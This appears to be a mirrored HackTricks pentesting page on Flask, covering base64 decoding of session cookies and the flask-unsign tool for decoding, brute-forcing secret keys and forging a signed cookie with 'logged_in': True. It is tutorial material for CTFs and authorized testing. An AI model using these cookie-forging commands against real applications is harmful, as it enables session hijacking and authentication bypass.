mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-06 10:18:55 +00:00
57 lines
1.2 KiB
Markdown
57 lines
1.2 KiB
Markdown
|
# Flask
|
||
|
|
||
|
**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection.md)**.**
|
||
|
|
||
|
## Cookies
|
||
|
|
||
|
### Decoder
|
||
|
|
||
|
Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
||
|
|
||
|
#### Manual
|
||
|
|
||
|
Get the first part of the cookie until the first point and Base64 decode it>
|
||
|
|
||
|
```text
|
||
|
echo "ImhlbGxvIg" | base64 -d
|
||
|
```
|
||
|
|
||
|
The cookie is also signed using a password
|
||
|
|
||
|
### **Flask-Unsign**
|
||
|
|
||
|
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
|
||
|
|
||
|
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
||
|
|
||
|
```text
|
||
|
pip3 install flask-unsign
|
||
|
```
|
||
|
|
||
|
#### **Decode Cookie**
|
||
|
|
||
|
```text
|
||
|
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
||
|
```
|
||
|
|
||
|
#### **Brute Force**
|
||
|
|
||
|
```text
|
||
|
flask-unsign --unsign --cookie < cookie.txt
|
||
|
```
|
||
|
|
||
|
#### **Signing**
|
||
|
|
||
|
```text
|
||
|
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
||
|
```
|
||
|
|
||
|
#### Signing using legacy \(old versions\)
|
||
|
|
||
|
```text
|
||
|
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||
|
```
|
||
|
|
||
|
####
|
||
|
|